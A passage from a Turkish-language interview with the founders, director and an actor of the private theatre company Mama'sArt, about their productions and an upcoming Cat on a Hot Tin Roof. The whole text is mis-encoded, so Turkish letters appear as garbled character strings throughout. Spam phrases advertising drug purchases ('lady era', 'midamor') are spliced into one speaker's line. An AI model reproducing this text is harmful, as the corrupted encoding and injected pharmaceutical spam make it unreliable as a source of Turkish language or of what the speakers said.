PAi??nar Erol

Normal insanAi??n iAYi deAYil tiyatro. Hele Ai??zel tiyatro kurmak. Bunun iAi??in ya deli olman gerekir ya da sA?per kahraman. Feri Baycu GA?ler, kAi??zAi??nAi??n gAi??zA?nde ikincisi. Benim gAi??zA?mde niye farklAi?? olsun ki? Buna inanmak iAi??in, anne evi gibi sAi??AYAi??nAi??lacak yeni bir tiyatro kurmasAi?? baAYlAi?? baAYAi??na yeterli. AcAi??lAi?? dA?nyayAi??, coAYkuya, gA?zelliAYe, anlamaya ama en Ai??ok da umutlanmaya Ai??eviren, kalbi paramparAi??a insanlarAi?? sanatla saAYaltan birine deli gAi??zA?yle bakamayacaAYAi??ma gAi??re ancak teAYekkA?r edebilirim.

Ai??ai???Ai??zel KadAi??nlar Listesiai???, ai???Nereye Gitti BA?tA?n Ai??iAi??eklerai???, ai???KAi??zgAi??n Damdaki Kediai???ye Ai??nA?mA?zdeki yAi??llarda hangi oyunlar eklenecek, Mamai??i??art, tiyatro tarihine hangi cA?mlelerle geAi??ecek meraktayAi??m. ai???Susmak, sAi??ylenmemiAY yalanlardan daha kAi??tA?dA?r.ai??? ai???HiAi??bir yer gA?venli deAYil.ai??? ai???Bazen gerAi??ek, yalandan bile Ai??irkindirai??? cA?mlelerini Ai??arpAi??AYtAi??rmalarAi?? yetmedi; tA?m Ai??ekmeceleri aAi??tAi??rAi??p, Ai??Ai??kanlarla yA?zleAYme cesaretinin ardAi??ndaki el oldular. Tenessee Williams, ai???Bizler kendi derimiz iAi??inde ebedi yalnAi??zlAi??AYa mahkumuzai??? demiAY. Onlar yalnAi??zlAi??AYAi?? serbest bAi??raktAi??lar. Ai??stenmeyen sesleri bastAi??rmakla kalmayAi??p, vakti kAi??ymetli olanlara sanatlAi?? tAi??nAi??lar sundular. Ai??yi oyunun peAYine dA?AYtA?ler, allayAi??p pullamayan, bizi kandAi??rmayan, yumuAYatmayan, ajite etmeyen, olduAYu gibi aktarAi??lan temiz, saAYlam oyunlardaki samimiyetleri ve usulcacAi??k iddialarAi??yla kendilerini sevdirdiler. Ai??

Ai??Tiyatro mevsimini seviyorum. Mamai??i??artai??i??Ai??n ai???KAi??zgAi??n Damdaki Kediai???siyle buluAYmaya gA?nler kala kendi heyecanAi??ma AYaAYAi??rAi??yorum. KavuAYmayAi?? Ai??zlemek bu. Bence asAi??l tiyatrodan fAi??AYkAi??rAi??yor hayat. Hem ne hayat!

Mamai??i??art 2015ai??i??te kuruldu, isim annesi (kAi??zAi??) Dafne, hatta logo da ona ait. Bu senin Ai??AYrencilik hayalindi ama insan daha Ai??AYrenciyken bAi??yle hayallar kurar mAi???Feri Baycu GA?ler: Okula Ai??ok bA?yA?k hayallerle giriyoruz, Ai??ok bA?yA?k star olacaAYAi??mAi??zAi?? sanAi??yoruz. Sonra A?Ai??A?ncA? sAi??nAi??fta gerAi??eklerle karAYAi??laAYAi??nca, kafamAi??zAi?? yere vuruyoruz. Mezun olduktan sonra da nerede iAY bulacaAYAi??z diyoruz. Ben 1999ai??i??da mezun olduAYumda bu kadar Ai??ok Ai??zel tiyatro yoktu. Ben de baAYka bir yol Ai??izdim kendime. AslAi??nda tiyatro kurma niyetinde falan deAYildim. Ben bir yerde oynama, bir tarafa tamamen entegre olma niyetindeydim. Uzun zamandAi??r oyunculuAYu bAi??raktAi??AYAi??m iAi??in de herhangi bir AYekilde bu kapAi??m aAi??Ai??k deAYildi artAi??k. Ai??kincisi de, birlikte Ai??alAi??AYtAi??AYAi??m insanlar prodA?ksiyonla baAYa Ai??Ai??kamadAi??lar ve ben hA?ngA?r hA?ngA?r aAYlarken eAYim bana, ai???Sen yAi??llardAi??r ticaret yapAi??yorsun. Bunun da bir tarafAi??nda mutlaka ticaret bilgisinin olmasAi?? gerekiyor. Sen neden yapmAi??yorsunai??? dedi. Ai??AYin iAi??ine girince AYunu fark ettim: Elbette ki sanat yapAi??yoruz ama eAYer ticaret bilmezsen yaptAi??AYAi??n sanatAi?? hiAi?? kimseye satamazsAi??n ve gAi??steremezsin. Sanatsal anlamda Ai??ok uzak kalmAi??AYtAi??m ve boAYtaydAi??m ve ne yapacaAYAi??mAi?? bilmiyordum. Ama AYanslAi??ydAi??m Ai??A?nkA? biz o noktada TuAYrulai??i??la buluAYtuk. Ona dedim ki, ai???Ben bAi??yle bir AYey yapmak istiyorum ama iki kalas bir heves olmasAi??n, A?stA?nde bir AYey olsunai???. BAi??yle Ai??Ai??ktAi??k yola ve AYA?kA?rler olsun ki iyi yol arkadaAYlarAi??na rastladAi??m. TuAYrulai??i??un da etkisiyle bana kalbini aAi??an, aynAi?? zamanda imkA?nlarAi??nAi?? da aAi??an insanlara rastladAi??m. Bu seneki prodA?ksiyonda Serkan Ai??ok Ai??srar etmesine raAYmen ben oynamadAi??m.
Serkan SalihoAYlu: Ben valla dA?kkA?n senin, oyna dedim.
Feri Baycu GA?ler: Ai??A?nkA? Mamai??i??artai??i??Ai?? kurarken sadece kendim oynayacaAYAi??m gibi bir hevesim yoktu. TA?m oyunlarda ben oynasam ve hep TuAYrul yAi??netse tekrara dA?AYeceAYiz ve seyirci bulamayacaAYAi??z. Benim yapmak istediAYim hiAi??bir zaman bu deAYildi. Benim hayalimde, hep bir ai???companyai??? kurmak vardAi??. Ancak o zaman, yazarAi??yla, yAi??netmeniyle, oyuncusuyla bunu becerebilirsem Mamai??i??artai??i??Ai??n Ai??ok baAYarAi??lAi?? olduAYunu dA?AYA?nA?rA?m. Ben hep aynAi?? oyuncular ve aynAi?? yAi??netmenlerle olsun istemiyorum. Ai??ki yAi??l TuAYrul yAi??netti oyunlarAi??, bu yAi??l Serkanai??i??la Ai??alAi??AYtAi??k. Azimdi Serkanai??i??Ai??n dilini gAi??rdA?k. O bana Ai??ok taze ve yeni. Biz AYimdi bu dinamiAYi oturtabilir miyiz, ona bakAi??yoruz. YarAi??n, Ai??bA?r gA?n, baAYka bir yAi??netmen gelip bir AYey yapacak. Ben isteyen herkese hoAYgeldiniz diyorum. Biz AYans tanAi??yan taraftayAi??z. Seneye baAYkalarAi?? olacak ve biz bir ekip olmayAi?? baAYaracaAYAi??z zaman iAi??erisinde. Belki kendi yazarlarAi??mAi??z olacak. Ai??bA?r tA?rlA?, tekelleAYmeye baAYlAi??yorsun.

Bu A?Ai??lA? ilk oyunda da beraberdi. NasAi??l buluAYtunuz?
Serkan SalihoAYlu:
TuAYrul ilk kuruluAYundan beri var. Ai??lk oyuna (Ai??zel KadAi??nlar Listesi) hem onun ricasAi??yla hem de ona destek olmak iAi??in dahil oldum. TuAYrul yakAi??n arkadaAYAi??m. Uzun senelerdir birlikte, aynAi?? kurumlarda Ai??alAi??AYmamAi??zAi??n, aynAi?? yollardan geAi??memizin getirdiAYi bir AYey var. ai???Ai??ki KiAYilik Yazai???Ai??n prova sA?reci ve ardAi??ndan A?Ai?? sene oyun sA?recinin getirdiAYi bir gA?ven iliAYkisi ve bA?yA?k bir dostluk var. AslAi??nda o dAi??nem benim Dot-in-house geAi??miAYim vardAi??. GeAi??tiAYimiz MayAi??s ayAi??nda, biraz daha free-lance Ai??alAi??AYmak istememle dahil oldum buraya. Haftaya Cuma (13 Ekim) burada prAi??miyer yapAi??yorum, Pazar Almanyaai??i??ya gidiyorum ve Pazartesi orada provaya baAYlAi??yorum. O bitiyor, dAi??nA?yorum, burada Devlet Tiyatrosuai??i??nda baAYlAi??yorum gibi bir takvimim var AYu an.

Oyunun yazarAi?? TA?rk izleyicinin tanAi??dAi??AYAi?? bir isim. Neil LaButeai??i??un oyunlarAi?? A?lkemizde de sahnelendi: ai???GA?zellik kavramAi??ai??i?? A?zerine ai???A?Ai??lemeai??i??si ai???Azeylerin Azekliai??? Aksanat Yeni KuAYak Tiyatroai??i??sunda, ai???Zorla GA?zellikai??? Kent OyuncularAi??ai??i??nda, ai???AziAYman Domuzai??? BakAi??rkAi??y Belediye TiyatrolarAi??ai??i??nda sahnelendi. AyrAi??ca ai???KayAi??pai??? Craft Tiyatroai??i??da, ai???Hansel ve Gretelai??i??in Ai??teki Hikayesiai??? Oyun AtAi??lyesiai??i??nde oynandAi??, oynanAi??yor. ai???Some Girlsai??? – Ai??zel KadAi??nlar Listesi Mamai??i??artai??i??Ai??n ilk oyunu ve ilk oyunun sorumluluAYu vardAi??r. Bu artAi??k tiyatronun tarihAi??esinde hep karAYAi??na Ai??Ai??kacak bir AYey. Tarihe dA?AYA?ldA? yani. KAi??tA?cA?llA?AYA?n, zaaflarAi??n AYiirsel anlatAi??mAi??yla bilinen yazarAi??n bu oyununu seAi??me sebepleriniz neydi?
Feri Baycu GA?ler: Ben bunu Ai??ok duygusal bir taraftan sAi??yleyebilirim. Ben o bebeAYi doAYurdum Ai??A?nkA? orada. Bizim iAi??in ilk olan bir AYeyi yaptAi??k, yeni bir AYey yaptAi??k.
TuAYrul TA?lek: AynAi?? zamanda hem tekst olarak, hem tavAi??r olarak, hem sahneye konuAY, hem de oyunculuk biAi??imi olarak Mamai??i??artai??i??Ai??n durduAYu yeri de Ai??ok iyi Ai??zetleyen bir oyun. DolayAi??sAi??yla oyunu biz hep laboratuvar Ai??alAi??AYmasAi?? gibi dA?AYA?ndA?k. Oyundaki fikri en iyi nasAi??l anlatAi??rAi??z A?zerinden yola Ai??Ai??karak, bizi engelleyebileceAYini dA?AYA?ndA?AYA?mA?z birtakAi??m Ai??gelere hiAi?? kafayAi?? takmadan; sadece hissin ve hikayenin A?stA?nde Ai??alAi??AYtAi??k. ai???Nereye Gitti BA?tA?n Ai??iAi??eklerai???de de aynAi?? AYey vardAi??. O da bizim tavrAi??mAi??zAi??, duruAYumuzu Ai??ok net belirleyen bir oyundu. Biz klasik bir eseri de sahneye koysak, Ai??aAYdaAY bir yazarAi??n eserini de sahneye koysak, izleyeceAYimiz yolu orada belli ettik aslAi??nda.
Feri Baycu GA?ler: Daha az riskli bir oyunla baAYladAi??k, dA?rA?st olmak gerekirse.
TuAYrul TA?lek: Ben Ai??yle dA?AYA?nmA?yorum. KreAYendosu olan bir oyun deAYildi o. Seyirci sahne A?stA?nde kavga, dAi??vA?AY, aAYlayan, baAYAi??ran ya da gA?lmekten yerlere yatan bir AYeyler izlemediAYi sA?rece, oyunlarla ilgili tam olarak ne dA?AYA?neceAYini bilmiyor. O da Ai??yle bir oyundu, seyirciyi bir kreAYendoyla sahneden uAYurlamAi??yordu.
Feri Baycu GA?ler: BA?yA?k isimli oyunlardan biriyle baAYladAi??AYAi??nda, seyirci zaten kafasAi??nda bir yargAi??yla geliyor. Aynen AYimdi ai???KAi??zgAi??n Damdaki Kediai???ye geleceAYi gibi. Neil LaBute o anlamda oyuncuya da bA?yA?k imkA?n saAYlayan bir yazar. Ben bu noktada daha risksiz bir oyun olduAYunu dA?AYA?ndA?m. Kendimizi sAi??namak iAi??in daha minimaldik. O daha kA?Ai??A?k bir prodA?ksiyondu. Bodrumai??i??da TuAYrulai??i??u aradAi??AYAi??mda ve ai???Ben bAi??yle bir AYey yapacaAYAi??m, sen olur musunai??? dediAYimde ve onun, ai???Sen varsan, ben gelirimai??? cevabAi??nda, bu bizim de aslAi??nda birbirimizi sAi??namamAi??zdAi??. TuAYrul Mamai??i??artai??i??ta oynamasa da toplantAi??larAi??mAi??zda karar mercilerimizden birisi. O bir parAi??asAi?? Mamai??i??artai??i??Ai??n yani. AdAi?? Genel Sanat YAi??netmeni ama aslAi??nda ai???partnerai???lik bu. TuAYrul bu sene baAYka bir oyun Ai??nermiAYti ve bana oynamamAi?? sAi??ylemiAYti. Ben de ona bu oyunu sAi??yledim ve ai???oyunun rejisini bana verseler benim aklAi??ma hakikaten sen gelirsin, sen oynaai??? dedim. Belki AYimdi oyuncusu da olduAYunda daha farklAi?? hissediyordur kendisini.
TuAYrul TA?lek: Ben en baAYAi??ndan beri nasAi??l hissediyorsam, yine Ai??yle hissediyorum. Ben hep kendimi bir parAi??asAi?? gibi hissettim. Ai??yi ve konforlu hissettiAYim, Ai??alAi??AYmaktan Ai??ok bA?yA?k keyif aldAi??AYAi??m bir yer Mamai??i??art. Ama oyundan Ai??tA?rA? ve rolden Ai??tA?rA? nerede oynarsam oynayayAi??m, o oyunculuk baAYka bir sorumluluk yA?klA?yor insana.
Feri Baycu GA?ler: Bize de hep iyi iAYler yapma sorumluluAYu yA?klA?yor. Ai??yi iAY yapmaktan kastAi??m, iyi oyun Ai??Ai??karmak, seyircinin alkAi??AYAi??nAi?? almak deAYil. Biz olabildiAYince temiz iAYler yapmak istiyoruz. Bizim iAi??in AYunun denmesini ben pek arzu etmiyorum: Ai??ok tatlAi??lar ama keAYke biraz daha paralarAi?? olsaydAi?? o prodA?ksiyon iAi??in falan… O zaman yapmayacaAYAi??m. Bu kadar net. BaAYAi??ndan beri kararAi??m bu. EAYer boyumuzu aAYAi??yorsa, biz oraya girmeyiz.

Ai??zel KadAi??nlar Listesi

Mamai??i??artai??i??Ai??n bendeki resmini sAi??yleyeyim sana. Daha ilk oyunda, oyuncularAi??yla dikkatimi Ai??ekmiAYti. Sonra oyunlarAi??nAi?? seyrettiAYimde, Ai??rneAYin ai???Nereye Gitti BA?tA?n Ai??iAi??eklerai???de insanca duyguya dokunduAYu yerle beni yakaladAi??. Evet acAi??ttAi??,Ai?? gAi??zlerim her seferinde sulandAi?? ama sonunda da o umut veren haliyle Ai??ok tutunduAYum, Ai??ok sevdiAYim bir oyun oldu. Her iki oyun da zamana, mekA?na sAi??kAi??AYmayan tekstlerdi. Evrensel konulu, tertemiz oyunlar izledik hep.
TuAYrul TA?lek: TA?rkiyeai??i??de Ai??zel tiyatrolar iAi??in, ai???yazAi??k A?Ai?? beAY hevesli arkadaAY bir araya gelmiAYler, onlar da bunu yapabilmiAYlerai??? gibi bir hoAYgAi??rA?ye gidebiliyor bazen seyirci. Bunun da doAYru bir tavAi??r olduAYunu dA?AYA?nmA?yorum. ProdA?ksiyon her zaman ekonomiyle ilgili bir AYey deAYil; Ai??ncelikle fikirle ilgili bir AYey. ai???KAi??zgAi??n Damdaki Kediai???de Ai??ok isteseydik seyircinin gAi??zA?nA? boyayan, Ai??ok sA?slA? bir AYey de yaptAi??rabilirdik, dekora bulayabilirdik oyunu. Ve inan, oyunu Ai??yle sahnelemek en kolayAi?? olurdu. Oysa tiyatro seyircinin hayal gA?cA?ne o kadar Ai??ok imkA?n tanAi??yan bir anlatAi??m diline sahip ki… Bazen prodA?ksiyon adAi??na, ucuz numaralarAi??n yapAi??ldAi??AYAi?? AYeyleri izliyoruz sahnelerde. Bu genellikle de Ai??denekli tiyarolarda oluyor ne yazAi??k ki. AslAi??nda bunun, totalinde tiyatroya zarar verdiAYini dA?AYA?nA?yorum. Ai??nceliAYiniz estetik bakAi??AY deAYilse, onu barAi??ndAi??ramAi??yorsanAi??z, istediAYiniz kadar para harcayAi??n, onun hiAi?? Ai??nemi yok. Ai??AYin iAi??inde o sanatlAi?? dil olmadAi??AYAi?? sA?rece zaten bir Ai??nemi yok yaptAi??AYAi??nAi??n.
Purchase lady era review Feri Baycu GA?ler Buy midamor potassium : ai???Ama bizim imkA?nAi??mAi??z bu kadarai??? diyen Ai??zel tiyatrolar, yapmayAi??n o zaman! BakkalAi??n sana, ai???kusura bakma, benim imkA?nAi??m bu kadar, bu bozuk malAi?? alacaksAi??nai??? deme hakkAi?? var mAi??? Ai??denekliler yapabilir ama biz de yapabiliriz. Biz baAYka bir yol seAi??eriz bunu yapmak iAi??in. KAi??tA? bir AYeyi, Ai??zA?rlerinin arkasAi??na gizleyenleri kabul etmenin karAYAi??lAi??AYAi?? yok. Biz ai???Nereye Gitti BA?tA?n Ai??iAi??eklerai???i ilk yaptAi??AYAi??mAi??zda otuz kiAYi, kAi??rk kiAYi geldi sadece. Ama biz direttik. Enerjimizi baAYka AYeylere deAYil, ayakta durmaya harcamak istedik. BA?tA?n ekip inandAi??, bugA?n turne yapAi??yoruz biz.

Nereye Gitti BA?tA?n Ai??iAi??ekler

Ai??kinci oyununuz Eve Enslerai??i??Ai??n 1996ai??i??da yazdAi??AYAi?? ai???Necessary Targetsai??? -ai???Nereye Gitti BA?tA?n Ai??iAi??eklerai???i seAi??erken de evraka evraka diye TuAYrulai??i??u arAi??yorsun ve onunla birlikte hem Ai??eviriyorsunuz hem uyarlAi??yorsunuz. 8 KasAi??m 2016ai??i??da prAi??miyer yapan oyuna bu sezon da devam edeceksiniz. Ve oynandAi??AYAi?? gA?nA?n Ai??ncesinde de, sonrasAi??nda da, ne yazAi??k ki hep doAYruluyor ai???hiAi??bir yerde gA?vende deAYilizai??? sAi??zA?nA?. Mesela 12 Ekim 2015ai??i??te ai???Ai??zel KadAi??nlar Listesiai??? iAi??in yapmayAi?? planladAi??AYAi??nAi??z prAi??miyer de Ankaraai??i??daki patlamadan dolayAi?? erteleniyor.
Feri Baycu GA?ler: Ah, evet. Ben de evimde oturuyordum, beAY dakika iAi??inde silahlarla taranAi??nca kaAi??mak zorunda kaldAi??m. Ai??AYte Las Vegasai??i??ta yaAYananlar. HiAi??bir yer gA?venli deAYil yani. Bu arada ben seyircinin de Ai??ok evrildiAYini dA?AYA?nA?yorum. Ai??statistiklere gAi??re seyirciler; eAYlenmeye gidenler, alternatif tiyatrolara gidenler, bir de Devlet ve Azehir TiyatrolarAi??ai??i??nda neredeyse yAi??llAi??k bilet alanlar olarak A?Ai??e ayrAi??lAi??yor. Ama seyirci artAi??k buraya da gelmeye baAYladAi??. Sadece gA?lmeye giden seyirci de elini taAYAi??n altAi??na koyuyor artAi??k. Ben hA?lA? umudun olduAYunu dA?AYA?nA?yorum. AAYlamamak iAi??in bAi??yle oyunlara gelmeyenler, ayakta alkAi??AYlAi??yor oyunu. Azimdi bA?tA?n oluyoruz, bu Ai??ok Ai??nemli Ai??A?nkA? samimiyetin, Ai??zgA?rlA?AYA?n olduAYu yer tiyatro.

Nazan Kesal ve TuAYrul TA?lek ile ai???Oyunculuk AtAi??lyesiai??? 18 Martai??i??ta baAYladAi?? ve 8 hafta boyunca devam etti. AyrAi??ca 2 Nisan 2017ai??i??den itibaren Nisan Akman, Rabia Sultan DA?zenli ve FatoAY KoAi??ak ile ai???Oyuncu YAi??netimi ve Audition AtAi??lyesiai??? (Kamera Ai??nA? oyunculuAYu) yapAi??ldAi?? sanAi??rAi??m. Sonra bir proje oldu mu katAi??lAi??mcAi??larla? Bu atAi??lyelerden bir AYey Ai??Ai??ktAi?? mAi???
Feri Baycu GA?ler: AtAi??lyeleri yapma amacAi??mAi??z Mamai??i??artai??i??a para saAYlamak deAYildi. Bizim derdimiz, kendi ekibimizi yetiAYtirmek. O bir yere evrilecek zamanla. Ben A?zerime ekstra sorumluluk alan biriyim yaradAi??lAi??AY olarak. Bize gelenlerin gAi??zlerinde oyunculuk yapma isteAYini gAi??rdA?AYA?m halde onlara sAi??rtAi??mAi?? dAi??nersem, ben bu iAYi yapamam. Genelde yapAi??lan oyunculuk atAi??lyeleri sektAi??re oyuncu yetiAYtirmek iAi??in. Biz bunu yapmAi??yoruz. Biz bildiAYimiz konservatif yAi??nteme geri dAi??ndA?k. Stanislavski ile baAYlAi??yoruz yani. Burada oyuncu yetiAYtirirken de hakikaten ders vermeyi seven, sadece maddi bir kazanAi?? beklemeyen eAYitimcilerle Ai??alAi??AYmak zorundayAi??z.

Senden baAYka HA?lya GA?lAYen, Beste Bereket, BaAYak DaAYman, Deniz KaraoAYlu ilk oyunun oyuncularAi??. Hatta BaAYak DaAYman en iyi yardAi??mcAi?? kadAi??n oyuncu dalAi??nda Afifeai??i??ye aday olmuAYtu. Sonra Azenay GA?rler, Hale AkAi??nlAi??, GAi??zde Kansu, GoncagA?l Sunar, Melisa DoAYu, Ece YA?ksel ikinci oyunun isimleri. Azimdi de ai???KAi??zgAi??n Damdaki Kediai???de Sezin AkbaAYoAYullarAi??, TuAYrul TA?lek, A?nal Silver, Ayten UncuoAYlu, Bennur Duyucu ve Ai??mA?r KayakAi??rAi??lmazai??? la Ai??alAi??AYAi??yorsunuz. Oyuncularla kadrolaAYmayAi?? dA?AYA?nmek zor. SanAi??rAi??m her proje, her oyun kendi oyuncusunu buluyor.
Feri Baycu GA?ler: Biz kime oynar mAi??sAi??n dediysek, yA?zde doksan hepsi kabul etti. O yA?zden de bu arkadaAYlar mA?mkA?n olduAYu kadar geri dAi??nsA?n, ekibin iAi??inde olsun istiyorum.

Bu yAi??l Tenessee Williams yAi??lAi?? olacak. Her ikisi de Pulitzer Ai??dA?llA? ai???KAi??zgAi??n Damdaki Kediai??? ve ai???Arzu TramvayAi??ai??? sahnelenecek. Siz 13 Ekimai??i??de Trumpai??i??ta prAi??miyer yapAi??yorsunuz. Ai??Heyecan dorukta.
Serkan SalihoAYlu: Burnu havadalAi??k gibi gAi??rA?nmesin ama ben AYunu aAi??Ai??kAi??a sAi??ylemekten Ai??ekinmiyorum. Bazen bazAi?? oyunlar kA?lt olmasAi?? sebebiyle Ai??ok fazla Ai??nem taAYAi??yor gibi oluyor ya, bu benim iAi??in Ai??ok geAi??erli deAYil. Ben filmi seyretmedim. Metin araAYtAi??rmam dAi??AYAi??nda baAYka bir metin de okumadAi??m. Tezini yazmam sebebiyle eski Alman Tiyatro EdebiyatAi?? A?zerine, yeni Ai??ngiliz EdebiyatAi?? A?zerine Ai??ok daha uzman olduAYumu sAi??yleyebilirim ama Amerikan oyunlarAi?? Ai??hakkAi??nda Ai??ok bA?yA?k dramaturjik ve tarihsel bilgim yok. Bir kere klasiAYin gA?nA?mA?ze nasAi??l taAYAi??nmasAi?? gerektiAYi A?zerinden kendime sorular sorarak yola Ai??Ai??ktAi??m. Yine birAi??ok oyunumda yapmayAi?? sevdiAYim AYey olan baAYka bir dil oluAYturmaya Ai??alAi??AYtAi??m. Tabii ki oyun, herkesin bekleyebileceAYi gibi klasik Ai??AYeleri barAi??ndAi??rAi??yor. AslAi??nda baAYka dokunuAYlarla, anlatAi??lmasAi?? gereken AYeyi baAYka bir dille, -baAYka bir tercA?me diye tanAi??mlAi??yorum ben onu-, dilin tercA?mesiyle deAYil; sahne duygusunun sahneye tercA?mesiyle alakalAi?? bir form arayAi??AYAi?? var tabii ki. O yA?zden en baAYtan TuAYrul, Feri oturup beraber iki hafta falan bu cA?mle nasAi??l olsun, o cA?mle nasAi??l olsun diye dil A?zerine Ai??alAi??AYtAi??AYAi??mAi??zdan, oyuncularla provaya baAYladAi??AYAi??mAi??zda da bu teksti onlara sunduAYumuzdan, baAYtan beri aslAi??nda hedefe yAi??nelik bir noktadan Ai??Ai??kAi??yoruz. Ve bir oyunu, klasik olmasAi??ndan dolayAi?? Ai??ok fazla Ai??nemseyerek, nasAi??l olmasAi?? gerekir diye deAYil de; o oyunun bugA?n nasAi??l sahnelenmesiyle alakalAi?? daha fazla sorumluluklarAi??mAi??z olduAYunu dA?AYA?nA?yorduk.

Tekst aslAi??nda tiyatro metni olarak yazAi??lAi??yor. Sonra 1958ai??i??de Richard Brooks tarafAi??ndan Ai??ekilen filmde Elizabeth Taylor, Paul Newman oynuyor. Biliyorsunuzdur muhtemelenai??i??
Serkan SalihoAYlu: Bence bilmiyorumdur. ProvalarAi??n baAYAi??nda da film Ai??ok konuAYuldu. Bir gA?n yatarken sadece bir iki dakika baktAi??m, ha tamam dedim ve bAi??raktAi??m. AslAi??nda beni yAi??nlendirmesinden sakAi??nmaktan da baAYka bir AYey… Hatta belki seyretsem faydasAi?? da olurdu bilmiyorum ama izlememek ve elimdeki metinle yola Ai??Ai??kmak bana daha kafa aAi??Ai??cAi?? geldi. Ai??ngilizce metinde A?Ai?? perde var. A?Ai??A?ncA? perdenin Elia Kazan versiyonu var. Ben ikisine de baktAi??m ve biz orjinalini kullandAi??k.

Bak biliyormuAYsun, ben de bunu sAi??yleyecektim. Peter Brook, Tenessee Williamsai??i??a 1956ai??i??da kendisinden oyunu yAi??netmesi istendiAYini yazmAi??AY mektubunda. ai???Arzu TramvayAi?? Fransaai??i??da kendi yolunu bize raAYmen Ai??izdi, gel gAi??r ki ben AYimdi kendimi ai???KAi??zgAi??n Damdaki Kediai???yi yAi??netmek A?zere Parisai??i??e davet edilmiAY buluyorum! Tabii ki, her zaman sizin oyunlarAi??nAi??zdan birini yapmak istemiAY olduAYumdan dolayAi?? Ai??ok heyecanlAi?? ve memnunumai???. Bunun karAYAi??lAi??AYAi??nda Tenessee Williams heyecanlanmAi??AY ve AYAi??yle yanAi??tlamAi??AY: ai???Her zaman bir oyunumun sizin tarafAi??nAi??zdan sahnelenmesini istemiAYimdir ve eAYer oyunu benim kendi A?Ai??A?ncA? perdem ile, yani Ai??zgA?n olarak tasarladAi??AYAi??m ve yazdAi??AYAi??m AYekilde aAi??arsanAi??z, her AYeyi bir yana bAi??rakAi??p bunu gAi??rmek iAi??in oraya uAi??acaAYAi??m; ne var ki oyunun baAYlAi??ca fazileti olan yoAYun dA?rA?stlA?AYA?n olmadAi??AYAi??nAi?? dA?AYA?ndA?AYA?m bir biAi??imde olacaksa onu tekrar gAi??rmemin bir anlamAi?? yok.ai???
Serkan SalihoAYlu: O hikayeyi hiAi?? bilmiyorum, hadi bakalAi??m! AslAi??na bakarsan karar vermesi Ai??ok kolay oldu. Ai??lk defa klasik bir oyun yapAi??yorum. Almanyaai??i??da yaptAi??AYAi??m oyunlarAi??n hepsi modern, yeni Alman oyunlarAi??ydAi??. Bu sene ilk defa farklAi?? AYeyler yapAi??yorum. Burada bir klasik yapacaAYAi??m, Almanyaai??i??da masal yapacaAYAi??m, Devlet TiyatrolarAi??ai??i??nda yeni TA?rk yazarAi?? yapacaAYAi??m. BambaAYka AYeyler deniyorum. Normalde bir David Greig metni geldiAYinde ai???A tamam,A?Ai?? sene Ai??nce de AYunu yapmAi??AYtAi??m falan gibiai??? tak tak yapardAi??k. BAi??yle hep ezbere bildiAYimiz yerlerden gelirdi. Bu sefer bildiAYimiz yerden gelmiyor. AslAi??nda orjinal edebiyat metnini alAi??p onun A?zerinden yola Ai??Ai??kmak ve kendi kararlarAi??nAi??zAi?? bunun A?zerinden vermek bana Ai??ok daha mantAi??klAi?? geldi ve asAi??l iAYin bizi zorlayacak ai???challengingai??? tarafAi?? da o taraf oldu. Bir klasik metnin dil yapAi??sAi??, dramaturjik yapAi??sAi??, anlatAi?? yapAi??sAi?? bugA?nkA? seyirci, o zamanki seyirci, o zamanki seyretme alAi??AYkanlAi??AYAi??, AYimdiki seyretme alAi??AYkanlAi??AYAi??, bu coAYrafya, o coAYrafya, tA?m bunlarAi??n hepsini dA?AYA?nmek gerekiyor. BunlarAi??n hepsini hesap etmek gerekiyor.

Tenesse Williams da oyundaki gibi GA?neyai??i??li, o da Brick gibi alkolik. Hatta gerAi??ek adAi?? Thomas Lanier olan yazar, kardeAYlik kulA?bA?nde gA?neyli aksanAi?? yA?zA?nden doAYduAYu eyaletin adAi?? olan ai???Tennesseeai??? lakabAi??nAi?? almAi??AY.
TuAYrul TA?lek: Tenesse Williams hep kendinden yola Ai??Ai??karak hayalindeki kadAi??nlarAi??, hayalindeki adamlarAi??, belki de kendi olmak istediAYi adamlarAi?? ya da aAYAi??k olduAYu insanlarAi?? yazmAi??AYtAi??r. Mutlaka bir sA?rA? ortak AYey vardAi??r oyundaki karakterlerin olay Ai??rgA?leriyle diAYer bA?tA?n oyunlarAi??nAi??n. Zaten kendisiyle baAYlantAi??sAi??z olmasAi?? mA?mkA?n deAYil. Bu da Ai??ok gA?zel bir ayrAi??ntAi?? tabii.
Serkan SalihoAYlu: Bunun GA?ney Amerikaai??i??da geAi??mesi de, ailenin GA?ney AmerikalAi?? olmasAi?? da bizi ilgilendirmedi. Oyunu edebiyat olarak okuduAYunda Ai??ok fazla AYeyler Ai??Ai??kAi??yor ama bunlar bizim temizlediAYimiz ve biraz daha globalleAYtirdiAYimiz, yani gA?ncel tarafa Ai??ekmeye Ai??alAi??AYtAi??AYAi??mAi??z AYeyler olarak karAYAi??mAi??za Ai??Ai??kAi??yor bu oyunda. Biz burada bilmem ne eyaletini gAi??rmA?yoruz da; bir aile gAi??rA?yoruz. Her yerde olabilecek, her yerde yaAYayabilecek bir aile gAi??rA?yoruz. Biz ai???KAi??zgAi??n Damdaki Kediai???yi yaptAi??AYAi??mAi??z iAi??in isimler Margaret, Brick falan ama aslAi??nda bunun hiAi??bir Ai??nemi yok.
TuAYrul TA?lek: Genelde yabancAi?? yazarlarAi??n oyunlarAi??nAi?? oynadAi??AYAi??mAi??zda bazen AYAi??yle tepkiler oluyor seyircide: ai???Ai??ok gA?zeldi ama kadAi??nAi??n adAi??nAi??n Helen olmasAi??, adamAi??n adAi??nAi??n Bob olmasAi??, Jack olmasAi??, ne bileyim olayAi??n Atinaai??i??da geAi??iyor olmasAi??, New Yorkai??i??ta geAi??iyor olmasAi?? bizi biraz hikayeden uzaklaAYtAi??rdAi??.ai??? Mesela ben bunu hiAi??bir zaman anlamamAi??AYAi??mdAi??r izleyici olarak da, oyuncu olarak da. Ai??nsanlarAi??n isminin ya da coAYrafyanAi??n, hikayenin ruhunu, Ai??zA?nA?, duygusunu deAYiAYtiren ya da farklAi?? bir AYekilde algAi??lamanAi??za sebep olan bir AYeye dAi??nA?AYmesini veya Ai??nA?ne geAi??mesini hiAi??bir zaman anlamadAi??m. DolayAi??sAi??yla sahnelerken de aynen Serkanai??i??Ai??n dediAYi gibi, bu ailenin GA?ney AmerikalAi?? bir aile olmasAi?? ya da Ai??talyan bir aile olmasAi?? ya da TA?rk bir aile olmasAi?? hikayede anlatAi??lan aile yapAi??sAi??nAi??n duygusunun Ai??nA?ne geAi??en bir AYey deAYil. O yA?zden -her ne kadar Tenessee Williamsai??i??Ai??n yazdAi??AYAi??nAi??n dAi??AYAi??nda olsa da- filmi de Ai??ok 